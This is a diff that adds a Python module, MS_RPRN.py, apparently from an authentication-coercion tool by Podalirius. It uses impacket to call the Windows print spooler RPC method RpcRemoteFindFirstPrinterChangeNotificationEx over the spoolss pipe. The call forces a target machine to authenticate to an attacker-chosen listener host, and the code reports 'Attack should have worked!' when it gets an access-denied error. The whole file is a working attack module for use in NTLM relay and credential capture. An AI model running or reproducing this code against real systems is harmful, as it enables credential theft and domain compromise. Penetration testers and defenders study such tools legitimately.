|
| 1 | +#!/usr/bin/env python3 |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +# File name : MS_RPRN.py |
| 4 | +# Author : Podalirius (@podalirius_) |
| 5 | +# Date created : 9 Jul 2022 |
| 6 | + |
| 7 | + |
| 8 | +import sys |
| 9 | +from .RPCProtocol import RPCProtocol, DCERPCSessionError |
| 10 | +from impacket.dcerpc.v5 import transport, rprn |
| 11 | +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT |
| 12 | +from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID |
| 13 | +from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY |
| 14 | + |
| 15 | + |
| 16 | +class MS_RPRN(RPCProtocol): |
| 17 | + name = "[MS-RPRN]: Print System Remote Protocol" |
| 18 | + shortname = "MS-RPRN" |
| 19 | + uuid = "12345678-1234-ABCD-EF00-0123456789AB" |
| 20 | + version = "1.0" |
| 21 | + available_pipes = [r"\PIPE\spoolss"] |
| 22 | + |
| 23 | + def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3): |
| 24 | + # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d |
| 25 | + # Finding credits: |
| 26 | + call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65 |
| 27 | + if self.dce is not None: |
| 28 | + tries = 0 |
| 29 | + while tries <= max_retries: |
| 30 | + tries += 1 |
| 31 | + print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") |
| 32 | + sys.stdout.flush() |
| 33 | + try: |
| 34 | + resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target) |
| 35 | + |
| 36 | + request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() |
| 37 | + request['hPrinter'] = resp['pHandle'] |
| 38 | + request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB |
| 39 | + request['pszLocalMachine'] = '\\\\%s\x00' % listener |
| 40 | + request['pOptions'] = NULL |
| 41 | + if self.debug: |
| 42 | + request.dump() |
| 43 | + resp = self.dce.request(request) |
| 44 | + except Exception as e: |
| 45 | + if "rpc_s_access_denied" in str(e): |
| 46 | + # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied |
| 47 | + print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") |
| 48 | + return False |
| 49 | + else: |
| 50 | + print("\x1b[1;91m%s\x1b[0m" % str(e)) |
| 51 | + if self.debug: |
| 52 | + pass |
| 53 | + else: |
| 54 | + if self.verbose: |
| 55 | + print("[!] Error: dce is None, you must call connect() first.") |
| 56 | + |
| 57 | + @classmethod |
| 58 | + def list_coerce_methods(cls): |
| 59 | + return [ |
| 60 | + ("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None) |
| 61 | + ] |
| 62 | + |
| 63 | + def perform_coerce_calls(self, listener): |
| 64 | + if listener is not None: |
| 65 | + self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener) |
0 commit comments